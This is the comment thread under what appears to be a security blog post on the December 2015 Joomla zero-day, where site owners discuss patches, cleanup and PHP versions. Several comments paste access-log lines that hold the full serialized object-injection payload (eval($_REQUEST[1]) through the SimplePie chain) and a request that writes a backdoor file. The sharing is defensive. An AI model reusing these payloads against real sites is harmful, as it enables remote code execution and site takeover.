    eval (base64_decode($_POST[“php”]) or
    $GLOBALS[‘some_binary_data_starting_with_small_letters’],
    the latter often starting in row ~519 of line 1 of a php so you only see it with line wrapping enabled…

    • Daniel Cid

      December 16, 2015

      Thanks for sharing. Hope that is useful to anyone else trying to clean their site.

  31. Der Koch

    December 17, 2015

    I see comments of people moaning that you guys posted this info; but for me, all I can say is THANK YOU, tnx tnx, a lot. My sites started receiving this crap, and for the info posted by you guys I was able to detect how much the attackers did (so far nothing), and how to avoid it in the future, aside of the piece of news so we all got aware.

    Also, on a side note… I have daily backups, and cannot find a single changed file (not by me) for the websites, something inside tells me there has to be something else. From my logs I do see first the _POST[111], but no ‘HTTP_CMD’ before it, multiple times. Also, the crap they send comes in HTTP_X_FORWARDED_FOR and HTTP_USER_AGENT

    I also see a few “tests” like “print md5(123123123);JFactory::getConfig();exit;” where it seems they are verifying the payload ran, but the md5 argument is always the same.

  32. Jan R

    December 17, 2015

    Hi Xristoph,

    Of course, the post contains real live bits of malware, no wonder your anti malware program goes nuts… However, it’s only plain text and no scripts, so you don’t have to worry πŸ™‚

  33. Suzanne

    December 18, 2015

    Just a question on this. Does the update over a hacked site fix it or do we also need to go through other exercises? are only php files hacked or does this affect the database as well? Uh, maybe this is the same question as the one below πŸ™‚ Thank you

    • Alan Henness

      December 18, 2015

      As I understand it, the update would stop any future attempts to exploit the site but if your site (like two of mine) was targeted before the update, then just about anything could have been done to your site. So I think we’re left with no option but to look for new and changed files. I’ve not found an easy way to do this so it looks like it’s going to take a long time.

      I have Akeeba’s Admin Tools installed and this generally protects against a lot of attacks. However, it didn’t at the time protect against this one (the last update a few days ago does). One of the features is a way to compare files to see if they have changed. Unfortunately, I had never run that on my sites, so I had nothing to compare to! But I think that would have made life very easy in terms of finding new and changed files!

      I think my only option is to download a recent backup (I use http://www.myrepono,com) from before the exploits started a week or so ago and compare that to the current site (which has the update, so some files will have changed anyway). I know this needs to be done, but I have some deadlines approaching fast!

      I don’t know if it will stop anything, but changing your database user’s password must be a minimum – I’ve changed the user and password – and as long as any backdoor doesn’t allow the hackers to re-access your configuration.php file, that should at least stop them accessing your database – I think…

      Another simple thing to do is to check that no new joomla users have been created – one with superuser rights is obviously dangerous! Also check for new database users.

      If anyone here knows better, please feel free to correct anything I’ve said! I’m not an expert.

  34. Martin

    December 18, 2015

    Hello,
    I would like to ask if in this case will help SSL certificate for administration? IΒ΄m not expert.

    Thank you very much

    • Phil Taylor, The Joomla Expert

      December 18, 2015

      No – a SSL Certificate will not protect you from this issue at all.

  35. Thomas

    December 18, 2015

    Correct me if I am wrong but it appears that this is not a Joomla vulnerability but rather a PHP vulnerability.

    That only webservers that are using older versions of PHP are vulnerable to this exploit regardless of if Joomla was patched quick enough or not. PHP was patched in September, so any server that updated PHP after that should be protected against this vulnerability. PHP versions below 5.5.29, 5.6.13 and below 5.5 are the ones that are vulnerable.

    Joomla released a patch that prevents older versions of PHP from being exploited through Joomla. I am a bit new to this stuff, so check and confirm what I am saying. I think it would also be important to note that despite patching Joomla if you are using an older version of PHP that has the vulnerability. You may wind up being exploited in another way via the same vulnerability in some other way not only via Joomla. So you need to make sure what version of PHP you are using and update it if it is outdated.

    Here is a link to the PHP changelog, showing the fix: http://php.net/ChangeLog-5.php#5.5.29

    I see attempts in my server logs to exploit this vulnerability, before the Joomla patch was released, like people mention in these comments. But my PHP version was updated before this so it does not appear that anything happened on the server.

    • Michael Babker

      December 18, 2015

      It is a Joomla vulnerability in that certain data was allowed to be injected into the session without sanitization. Regardless of PHP version, that was exploitable. The use after free vulnerabilities fixed in PHP releases this year help to mitigate the scope of what can be done with the vulnerabilities, but it would be wrong to assume that users running PHP 5.4.45, 5.5.29+, or 5.6.13+ are fully protected because of the PHP security patches.

    • Anna Mendez

      December 22, 2015

      I think you was right that users with old php versions are vulnerable even after patch 3.4.6. But today Joomla just release 3.4.7 version and with this version even users with old php are not vulerable anymore. Is that correct?

  36. Marcelo Pedra

    December 18, 2015

    Hello people. Any report on this affecting sites using Joomla 1.0? Yes, I have a couple ones in an old server and I’ve found the keyword “JDatabaseDriverMysqli” within the logs. Am I vulnerable or only those with 1.5+ are?

  37. Wasim Ismail

    December 19, 2015

    HI I have just downloaded my site on to my localhost on my PC After it got attacked :S.
    Im tring to login to the admin, and the page does not move foward, even after changing password from myphpadmin. Is that part of this attack?

  38. Anna Mendez

    December 21, 2015

    If a joomla website is attacked, other joomla webistes (not yet attacked and yet upgraded with last hotfixes) on same server are vulnerable?

  39. Anna Mendez

    December 22, 2015

    Joomla 3.4.7 just release (and equivalent hotfix for J1.5 and J2.5). It seems that users with old php versions (before 5.4.45, 5.5.29, 5.6.13) are vulnerable even after patch 3.4.6. But today Joomla just release 3.4.7 version and with this version even users with old php are not vulerable anymore. Is that correct?

  40. Nicolas Dadou

    December 31, 2015

    Hi is there a manner to know what they made with the log?
    here is the logs from my website.

    95.110.187.117 website – [31/Dec/2015:00:34:53 +0100] “GET /administrator/?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/administrator/dbconfig.php%27%2Cbase64_decode%28%”code I don’t provide for security ( I don’t know what is it)” HTTP/1.1″ 200 9187 “-” “}__test|O:21:”JDatabaseDriverMysqli”:3:{s:2:”fc”;O:17:”JSimplepieFactory”:0:{}s:21:”\0\0\0disconnectHandlers”;a:1:{i:0;a:2:{i:0;O:9:”SimplePie”:5:{s:8:”sanitize”;O:20:”JDatabaseDriverMysql”:0:{}s:8:”feed_url”;s:46:”eval($_REQUEST[1]);JFactory::getConfig();exit;”;s:19:”cache_name_function”;s:6:”assert”;s:5:”cache”;b:1;s:11:”cache_class”;O:20:”JDatabaseDriverMysql”:0:{}}i:1;s:4:”init”;}}s:13:”\0\0\0connection”;b:1;}xf0x9dx8cx86″
    95.110.187.117 website – [31/Dec/2015:00:34:53 +0100] “GET /administrator/?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/administrator/dbconfig.php%27%2Cbase64_decode%28%”code I don’t provide for security ( I don’t know what is it)” HTTP/1.1″ 200 9187 “-” “Python-urllib/2.7”
    95.110.187.117 website – [31/Dec/2015:00:34:54 +0100] “GET /?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/administrator/dbconfig.php%27%2Cbase64_decode%28%”code I don’t provide for security ( I don’t know what is it)” HTTP/1.1″ 200 68918 “-” “}__test|O:21:”JDatabaseDriverMysqli”:3:{s:2:”fc”;O:17:”JSimplepieFactory”:0:{}s:21:”\0\0\0disconnectHandlers”;a:1:{i:0;a:2:{i:0;O:9:”SimplePie”:5:{s:8:”sanitize”;O:20:”JDatabaseDriverMysql”:0:{}s:8:”feed_url”;s:46:”eval($_REQUEST[1]);JFactory::getConfig();exit;”;s:19:”cache_name_function”;s:6:”assert”;s:5:”cache”;b:1;s:11:”cache_class”;O:20:”JDatabaseDriverMysql”:0:{}}i:1;s:4:”init”;}}s:13:”\0\0\0connection”;b:1;}xf0x9dx8cx86″
    I don’t find any file updated in the http://FTP….

  41. Martin Lines

    January 1, 2016

    My site was originally compromised on the zero day. Following a lot of effort we thought we had cleaned it up. Joomla was updated to 3.4.8 and php is 5.4.45. However it was successfully attacked last night.The only files I can find affect are defines.php in /includes and /administrator/includes.

    In access.log I can see entries such as….

    166.62.102.232 – – [01/Jan/2016:05:05:10 +0000] “GET / HTTP/1.1” 200 2097 “-” “}__test|O:21:”JDatabaseDriverMysqli”:3:{s:2:”fc”;O:17:”JSimplepieFactory”:0:{}s:21:”\0\0\0disconnectHandlers”;a:1:{i:0;a:2:{i:0;O:9:”SimplePie”:5:{s:8:”sanitize”;O:20:”JDatabaseDriverMysql”:0:{}s:8:”feed_url”;s:3822:”eval(base64_decode(‘JGNoZWNrID0gJF9TRV………entry continues on!!

    I am not skilled enough to know if this was the successful attempt, the “200” is worrying as this was a success. Or perhaps I did not find all the entries previously and am being re-infected via a backdoor they have left themselves.?

    • Ken Edwards

      January 1, 2016

      We are witnessing the same as you across a number of Joomla! 3, 2.5 and 1.5 websites after rolling back to ‘clean’ backups made before 9 Dec 2015.

      All affected sites are using J3.4.7 or latest Security Hot fixes (if J1.5 and 2.5) and PHP is 5.5.30 (before the 0-day Hack it was 5.4).

      Anybody else shed any light? The fresh install of a J3.4.7 CMS and J2.5.28 + Hot Fixes TEST sites we have created are holding up well (no 0 Day hacks) but not the previously live sites which we are monitoring.

      Currently we are faced with rock and hard place:

      rebuild sites on fresh J3.4.7 (now 3.4.8 following bug fix release), or
      expensive clean,

      with neither guaranteeing freedom from future hacks.

  42. Toby Salmon

    January 3, 2016

    I posted two links on the Joomla forum to reports on the Zero day. (My host had provided them after my site was hacked) The security moderators deleted the links under the premise of

    “removed links expaining how to hack sites.”

    Is there something I’m misunderstanding and does this page explain how to hack sites.

    • Toby Salmon

      January 8, 2016

      Anybody have any thoughts on this?

  43. Khoa

    January 20, 2016

    I installed oseSecure on my site several months ago, would this protect me? It scans and blocks sql injections, file uploading and code etc.

  44. Shahidul

    February 15, 2016

    Thanks for sharing. Useful.

  45. Philipp Lang

    February 22, 2016

    My site was hacked yesterday – my log:

    … __test|O:21:”JDatabaseDriverMysqli”:3:{s:2:”fc”;O:17:”JSimplepieFactory”:0 …

    I use Joomla 3.4.8, so the bug should have been fixed a few months ago. What’s wrong here?

  46. Philipp Lang

    February 22, 2016

    My site was hacked yesterday, although I have the latest Joomla version. What’s going on here?

  47. Gustavo Jaramillo

    August 25, 2016

    Very good thread. @dcid:disqus I have my site with Joomla 1.5 and we built a software in it. Therefore, we cannot upgrade to the new version because the software won’t work. How can I fix the vulnerability issues (possibly the hotfix) so we can have time to update the software and use it with another CMS.

    Please advice. Thank you very much.

Primary Sidebar

Socialize With Sucuri

We're actively engaged across multiple platforms. Follow us and let's connect!

  • Facebook
  • Twitter
  • LinkedIn
  • YouTube
  • Instagram
  • RSS Feed

Join Over 20,000 Subscribers!

Sucuri Sidebar Malware Removal to Signup Page

Footer

Products

  • Website Firewall
  • Website AntiVirus
  • Website Backups
  • WordPress Security
  • Enterprise Services

Solutions

  • DDos Protection
  • Malware Detection
  • Malware Removal
  • Malware Prevention
  • Blacklist Removal

Support

  • Blog
  • Knowledge Base
  • SiteCheck
  • Research Labs
  • FAQ

Company

  • About
  • Media
  • Events
  • Employment
  • Contact
  • Testimonials
  • Facebook
  • Twitter
  • LinkedIn
  • Instagram

Customer Login

Sucuri Home

  • Terms of Use
  • Privacy Policy
  • Frequently Asked Questions

© 2023 Sucuri Inc. All rights reserved

Sucuri Cookie Policy
See our policy>>

Our website uses cookies, which help us to improve our site and enables us to deliver the best possible service and customer experience.